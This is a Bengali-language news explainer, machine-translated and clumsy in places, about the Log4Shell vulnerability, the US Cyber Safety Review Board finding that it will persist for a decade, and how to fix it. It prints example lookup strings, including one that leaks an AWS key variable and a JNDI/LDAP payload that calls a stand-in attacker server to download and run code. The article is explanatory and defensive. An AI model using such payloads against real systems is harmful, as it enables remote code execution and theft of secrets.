8 মাস পরে, মার্কিন যুক্তরাষ্ট্র বলছে Log4Shell প্রায় "এক দশক বা তার বেশি" থাকবে

মনে রাখা Log4Shell?

এটি একটি জনপ্রিয় ওপেন সোর্স জাভা প্রোগ্রামিং টুলকিট নামক একটি বিপজ্জনক বাগ ছিল log4j, একটি উদার, ফ্রি সোর্স কোড লাইসেন্সের অধীনে অ্যাপাচি সফটওয়্যার ফাউন্ডেশন দ্বারা প্রকাশিত "জাভা জন্য লগিং" এর সংক্ষিপ্ত।

আপনি যদি কখনো কোনো ধরনের সফ্টওয়্যার লিখে থাকেন, উইন্ডোজ ল্যাপটপের সহজতম BAT ফাইল থেকে শুরু করে সার্ভারের পুরো র‌্যাকে চলমান সবচেয়ে বড় মেগা-অ্যাপ্লিকেশন পর্যন্ত, আপনি লগিং কমান্ড ব্যবহার করবেন।

যেমন মৌলিক আউটপুট থেকে echo "Starting calculations (this may take a while)" স্ক্রীনে মুদ্রিত, আনুষ্ঠানিক বার্তাগুলির সমস্ত উপায় অডিট বা সম্মতির কারণে একবার লেখার ডাটাবেসে সংরক্ষিত, লগিং বেশিরভাগ প্রোগ্রামের একটি গুরুত্বপূর্ণ অংশ, বিশেষ করে যখন কিছু ভেঙে যায় এবং আপনি আগে ঠিক কতদূর পেয়েছেন তার একটি স্পষ্ট রেকর্ড প্রয়োজন সমস্যা আঘাত.

Log4Shell দুর্বলতা (আসলে, দেখা গেল যে বেশ কয়েকটি সম্পর্কিত সমস্যা ছিল, কিন্তু আমরা সেগুলিকে এমনভাবে বিবেচনা করব যেন সেগুলি এখানে একটি বড় সমস্যা, সরলতার জন্য) অর্ধ-বাগ, অর্ধ-বৈশিষ্ট্য হিসাবে পরিণত হয়েছে।

অন্য কথায়, Log4j ম্যানুয়ালটিতে যা বলেছে তা করেছে, একটি বাগ এএ বাফার ওভারফ্লো থেকে ভিন্ন, যেখানে আপত্তিকর প্রোগ্রামটি ভুলভাবে ডেটার সাথে তালগোল পাকানোর চেষ্টা করে যে এটি একা ছেড়ে দেবে বলে প্রতিশ্রুতি দেয়…

…কিন্তু আপনি যদি ম্যানুয়ালটি সত্যিই মনোযোগ সহকারে না পড়েন এবং Log4j-এর উপরে সতর্ক ইনপুট যাচাইকরণের একটি স্তর যুক্ত করে অতিরিক্ত সতর্কতা না নেন, তাহলে আপনার সফ্টওয়্যারটি আটকে যেতে পারে।

সত্যিই, খারাপভাবে, সম্পূর্ণরূপে অস্থির।

ইন্টারপোলেশন ক্ষতিকর বলে বিবেচিত

সহজভাবে বললে, Log4j সবসময় লগ মেসেজ রেকর্ড করে না যেভাবে আপনি সেগুলি সরবরাহ করেছিলেন।

পরিবর্তে, এটির একটি "বৈশিষ্ট্য" ছিল যা বিভিন্নভাবে এবং বিভ্রান্তিকরভাবে পরিভাষায় পরিচিত ক্ষেপক, কমান্ড প্রতিস্থাপন or স্বয়ংক্রিয় পুনর্লিখন, যাতে আপনি লগিং ইউটিলিটির ভিতরে টেক্সট ম্যানিপুলেশন বৈশিষ্ট্যগুলিকে ট্রিগার করতে পারেন, এটি করার জন্য আপনার নিজস্ব বিশেষ কোড না লিখতে।

উদাহরণস্বরূপ, নীচের INPUT কলামের পাঠ্যটি আক্ষরিক অর্থে লগ হয়ে যাবে, ঠিক যেমন আপনি দেখছেন, যা সম্ভবত আপনি একটি লগিং টুলকিট থেকে আশা করতে পারেন, বিশেষ করে যদি আপনি আপনার ব্যবহারকারীদের উপস্থাপিত ইনপুট ডেটার একটি সুনির্দিষ্ট রেকর্ড রাখতে চান। নিয়ন্ত্রক কারণে:

ইনপুট আউটকাম --------------------------------------------- ব্যবহারকারীর নাম৷ =duck -> USERNAME=duck কলার-আইডি:555-555-5555 -> কলার-আইডি:555-555-5555 বর্তমান সংস্করণ = 17.0.1 -> বর্তমান সংস্করণ = 17.0.1

কিন্তু আপনি যদি ম্যাজিক ক্যারেক্টার সিকোয়েন্সে মোড়ানো লেখা জমা দেন ${...}, লগার কখনও কখনও এটির সাথে স্মার্ট জিনিসগুলি করতে পারে, টেক্সট পাওয়ার পরে কিন্তু আসলে লগফাইলে লেখার আগে, এইরকম:

ইনপুট আউটকাম ----------------------------------------------------------- ----------------------------- বর্তমান=${java:version}/${java:os} -> CURRENT=জাভা সংস্করণ 17.0.1/Windows 10 10.0 সার্ভার অ্যাকাউন্ট হল: ${env:USER} -> সার্ভার অ্যাকাউন্ট হল: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

স্পষ্টতই, আপনি যদি একটি বিশ্বস্ত উৎস থেকে লগিং টেক্সট গ্রহণ করেন, যেখানে লগিকে অভ্যন্তরীণ ডেটা দিয়ে প্লেইন টেক্সট প্রতিস্থাপন করার কথা বলে লগারকে নিয়ন্ত্রণ করার অনুমতি দেওয়া যুক্তিসঙ্গত, এই ধরনের টেক্সট পুনর্লিখন উপযোগী।

কিন্তু যদি আপনার লক্ষ্য হয় দূরবর্তী ব্যবহারকারীর দ্বারা জমা দেওয়া ডেটার ট্র্যাক রাখা, সম্ভবত নিয়ন্ত্রক রেকর্ড রাখার উদ্দেশ্যে, এই ধরণের স্বয়ংক্রিয়-পুনঃলিখন দ্বিগুণ বিপজ্জনক:

• বিবাদের ঘটনায়, ব্যবহারকারী আসলে কী জমা দিয়েছেন তার একটি নির্ভরযোগ্য রেকর্ড আপনার কাছে নেই, এটি ইনপুট এবং আউটপুটের মধ্যে পরিবর্তন করা হতে পারে।
• একজন দূষিত ব্যবহারকারী লুকিয়ে-নির্মিত ইনপুট পাঠাতে পারে আপনার সার্ভারকে এমন কিছু করতে প্ররোচিত করার জন্য যা করার কথা ছিল না।

আপনি যদি ব্যবহারকারীর ইনপুট যেমন তাদের ব্রাউজার আইডেন্টিফিকেশন স্ট্রিং লগিং করেন, তাহলে বলুন (জার্গনে পরিচিত User-Agent), অথবা তাদের ব্যবহারকারীর নাম বা ফোন নম্বর, আপনি ব্যবহারকারীকে একটি স্থায়ী লগফাইলে ব্যক্তিগত ডেটা (যেমন একটি মেমরি-অনলি পাসওয়ার্ড স্ট্রিং যেমন উপরের উদাহরণে AWS_ACCESS_KEY_ID) লেখার জন্য প্রতারণা করার সুযোগ দিতে চান না৷

বিশেষ করে যদি আপনি আত্মবিশ্বাসের সাথে আপনার নিরীক্ষক বা নিয়ন্ত্রককে বলে থাকেন যে আপনি স্থায়ী সঞ্চয়স্থানে প্লেইনটেক্সট পাসওয়ার্ড লিখবেন না। (আপনি এটা করা উচিত নয়, এমনকি আপনি আনুষ্ঠানিকভাবে নিয়ন্ত্রককে না বললেও আপনি তা করবেন না!)

আসা খারাপ

Log4Shell is-it-a-bug-or-is-it-a- বৈশিষ্ট্যের ক্ষেত্রে, যাইহোক, আমরা উপরে দেখানো ইতিমধ্যেই ঝুঁকিপূর্ণ উদাহরণগুলির চেয়ে অনেক খারাপ ছিল।

উদাহরণস্বরূপ, একজন ব্যবহারকারী যে ইচ্ছাকৃতভাবে নীচে দেখানো ইনপুটের মতো ডেটা জমা দিয়েছে সে ঘটনাগুলির একটি সত্যিকারের বিপজ্জনক ক্রম ট্রিগার করতে পারে:

ইনপুট আউটকাম ------------------------------------------------ ---------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> একটি দূরবর্তী জাভা প্রোগ্রাম ডাউনলোড করুন এবং চালান!?

উপরের "ইন্টারপোলেশন" স্ট্রিং-এ, ${...} অক্ষর ক্রম যা সংক্ষিপ্ত রূপগুলি অন্তর্ভুক্ত করে jndi এবং ldap Log4j কে এটি করতে বলেছে:

• জাভা নামকরণ এবং ডিরেক্টরি ইন্টারফেস (JNDI) ব্যবহার করুন সনাক্ত dodgy.server.example অনলাইন।
• LDAP এর মাধ্যমে সেই সার্ভারের সাথে সংযোগ করুন, TCP পোর্ট 8888 ব্যবহার করে।
• তথ্য অনুরোধ LDAP অবজেক্টে সংরক্ষিত BadThing.

অন্য কথায়, আক্রমণকারীরা বিশেষভাবে তৈরি করা ইনপুট জমা দিতে পারে যা আপনার সার্ভারকে "বাড়িতে কল করতে" নির্দেশ দেবে। তাদের নিয়ন্ত্রণাধীন একটি সার্ভারে, বাই-ইওর-লিভ ছাড়া।

কিভাবে এটি একটি "বৈশিষ্ট্য" হতে পারে?

আপনি হয়তো ভাবছেন যে এইরকম একটি "বৈশিষ্ট্য" কীভাবে এটিকে Log4j কোডে পরিণত করেছে।

কিন্তু এই ধরনের টেক্সট পুনর্লিখন উপযোগী হতে পারে, যতক্ষণ না আপনি একটি বিশ্বস্ত উৎস থেকে ডেটা লগিং করছেন।

উদাহরণস্বরূপ, আপনি একটি সংখ্যাসূচক ব্যবহারকারী আইডি লগ করতে পারেন, তবে লগারকে LDAP ব্যবহার করতে বলুন ( লাইটওয়েট ডিরেক্টরি এক্সেস প্রোটোকল, মাইক্রোসফটের অ্যাক্টিভ ডিরেক্টরি সিস্টেম সহ শিল্পে ব্যাপকভাবে ব্যবহৃত) সেই সময়ে সেই অ্যাকাউন্ট নম্বরের সাথে যুক্ত ব্যবহারকারীর নাম পুনরুদ্ধার ও সংরক্ষণ করতে।

এটি পঠনযোগ্যতা এবং লগফাইলে প্রবেশের ঐতিহাসিক মান উভয়ই উন্নত করবে।

কিন্তু উপরের উদাহরণে Log4j যে LDAP সার্ভারটি ডেকেছে (যা রিমোট ব্যবহারকারীর দ্বারা বেছে নেওয়া হয়েছে, ভুলে যাবেন না) সত্যটি জানার সম্ভাবনা কম, এটি বলার জন্যই ছেড়ে দিন, এবং একজন দূষিত ব্যবহারকারী তাই এই কৌশলটি পূরণ করতে পারে জাল এবং এমনকি আইনিভাবে সন্দেহজনক তথ্য দিয়ে আপনার লগ.

আরও খারাপ, LDAP সার্ভার লগ করা ডেটা তৈরি করার জন্য প্রি-কম্পাইল করা জাভা কোড ফেরত দিতে পারে, এবং আপনার সার্ভার দায়িত্বের সাথে সেই প্রোগ্রামটি চালাবে -- একটি অজানা প্রোগ্রাম, একটি অবিশ্বস্ত সার্ভার দ্বারা সরবরাহ করা, একটি অবিশ্বস্ত ব্যবহারকারী দ্বারা নির্বাচিত৷

ঢিলেঢালাভাবে বলতে গেলে, যদি কোনো সার্ভার, আপনার নেটওয়ার্কের যে কোনো জায়গায়, বাইরে থেকে আসা অবিশ্বস্ত ইনপুট লগ করে এবং তা করতে Log4j ব্যবহার করে...

…তাহলে সেই ইনপুটটি আপনার সার্ভারকে অন্য কারো কোড চালানোর জন্য প্রতারণার সরাসরি এবং তাৎক্ষণিক উপায় হিসাবে ব্যবহার করা যেতে পারে, ঠিক তেমনই।

বলা হয় RCE পরিভাষায়, এর জন্য সংক্ষিপ্ত দূরবর্তী কোড নির্বাহ, এবং RCE বাগগুলি সাধারণত সাইবার অপরাধীদের দ্বারা সবচেয়ে বেশি চাওয়া হয় কারণ থাই সাধারণত স্বয়ংক্রিয়ভাবে ম্যালওয়্যার ইমপ্লান্ট করার জন্য ব্যবহার করা যেতে পারে৷

দুর্ভাগ্যবশত, এই বাগটির প্রকৃতির মানে হল যে বিপদটি ইন্টারনেট-মুখী সার্ভারের মধ্যে সীমাবদ্ধ ছিল না, তাই জাভা নয় (যেমন IIS, Apache https, nginx) তে লেখা ওয়েব সার্ভারগুলি ব্যবহার করে, এবং তাই তারা নিজেরাও বগি ব্যবহার করেনি Log4j কোড, আপনাকে ঝুঁকি থেকে মুক্ত করেনি।

তাত্ত্বিকভাবে, যেকোনো ব্যাক-এন্ড জাভা অ্যাপ যা আপনার নেটওয়ার্কের অন্য কোথাও থেকে ডেটা গ্রহণ করেছে এবং লগ করেছে এবং যেটি Log4j লাইব্রেরি ব্যবহার করেছে...

…সম্ভবত বহিরাগত আক্রমণকারীদের দ্বারা পৌঁছানো এবং শোষিত হতে পারে।

ফিক্সটি বেশ সোজা ছিল:

• এর পুরানো সংস্করণ খুঁজুন Log4j আপনার নেটওয়ার্কের যেকোনো জায়গায় এবং সর্বত্র। জাভা মডিউলগুলির সাধারণত নাম থাকে log4j-api-2.14.0.jar এবং log4j-core-2.14.0.jar, কোথায় jar এর সংক্ষিপ্ত রূপ জাভা আর্কাইভ, জিপ ফাইলের একটি বিশেষভাবে-গঠিত সাজানোর। একটি অনুসন্ধানযোগ্য উপসর্গ, একটি নির্দিষ্ট এক্সটেনশন, এবং ফাইলের নাম এম্বেড করা সংস্করণ নম্বর সহ, জাভা লাইব্রেরি কোডের "ভুল" সংস্করণগুলির সাথে আপত্তিকর ফাইলগুলি দ্রুত খুঁজে পাওয়া আসলে মোটামুটি সহজ।
• বগি সংস্করণগুলি প্রতিস্থাপন করুন নতুন, প্যাচ করা সহ।
• আপনি যদি Log4J সংস্করণ পরিবর্তন করার অবস্থানে না থাকেন, আপনি বগি Log4j প্যাকেজ থেকে একটি একক কোড মডিউল সরিয়ে ঝুঁকি কমাতে বা অপসারণ করতে পারেন (উপরে বর্ণিত জাভা কোড যা JNDI লুকআপ পরিচালনা করে), এবং বাগ দমন করে আপনার নিজের স্লিমড-ডাউন JAR ফাইলটি পুনরায় প্যাকেজিং করে।

কাহিনী চলতে থাকে

দুর্ভাগ্যবশত, সাম্প্রতিক, বিস্তারিত প্রতিবেদন Log4Shell গল্পে, গত সপ্তাহে US দ্বারা প্রকাশিত সাইবার সিকিউরিটি রিভিউ বোর্ড (CSRB), হোমল্যান্ড সিকিউরিটি বিভাগের অংশ, উদ্বেগজনক পরামর্শ রয়েছে (নীচে আমাদের জোর দেওয়া হয়েছে):

[T] He Log4j ইভেন্ট শেষ হয়নি৷ [CSRB] মূল্যায়ন করে যে Log4j হল একটি "এন্ডেমিক দুর্বলতা" এবং Log4j এর দুর্বল দৃষ্টান্তগুলি আগামী বহু বছর ধরে সিস্টেমে থাকবে, সম্ভবত এক দশক বা তারও বেশি সময়. উল্লেখযোগ্য ঝুঁকি রয়ে গেছে।

কি করো?

42 পৃষ্ঠায় (একাকার কার্যনির্বাহী সারাংশ প্রায় তিন পৃষ্ঠায় চলে), বোর্ডের রিপোর্ট এটি একটি দীর্ঘ নথি, এবং এর অংশগুলি ভারী হচ্ছে৷

তবে আমরা আপনাকে এটি পড়ার পরামর্শ দিচ্ছি, কারণ এটি একটি আকর্ষণীয় গল্প যে সাইবার নিরাপত্তা সমস্যাগুলি যেগুলি দ্রুত এবং সহজে সমাধান করা উচিত তা কীভাবে উপেক্ষা করা যেতে পারে, বা পরে পর্যন্ত বন্ধ রাখা যেতে পারে, বা "অন্য কারোর" হিসাবে সম্পূর্ণরূপে অস্বীকার করা যেতে পারে। সমস্যা" ঠিক করতে।

মার্কিন পাবলিক সার্ভিসের উল্লেখযোগ্য পরামর্শ, যা আমরা আন্তরিকভাবে সমর্থন করি, এর মধ্যে রয়েছে:

• একটি সঠিক তথ্য প্রযুক্তি (IT) সম্পদ এবং অ্যাপ্লিকেশন ইনভেন্টরি বজায় রাখার ক্ষমতা বিকাশ করুন।
• [একটি সেট আপ] নথিভুক্ত দুর্বলতা প্রতিক্রিয়া প্রোগ্রাম.
• [একটি সেট আপ করুন] নথিভুক্ত দুর্বলতা প্রকাশ এবং পরিচালনার প্রক্রিয়া।

যখন সাইবার নিরাপত্তার কথা আসে, তখন জিজ্ঞাসা করবেন না যে অন্য সবাই আপনার জন্য কী করতে পারে...

…কিন্তু আপনি নিজের জন্য কী করতে পারেন তা নিয়ে ভাবুন, কারণ আপনি যে কোনও উন্নতি করবেন তা অবশ্যই হবে অন্য সবার উপকার করুন যেমন.

---

[এম্বেড করা সামগ্রী]

---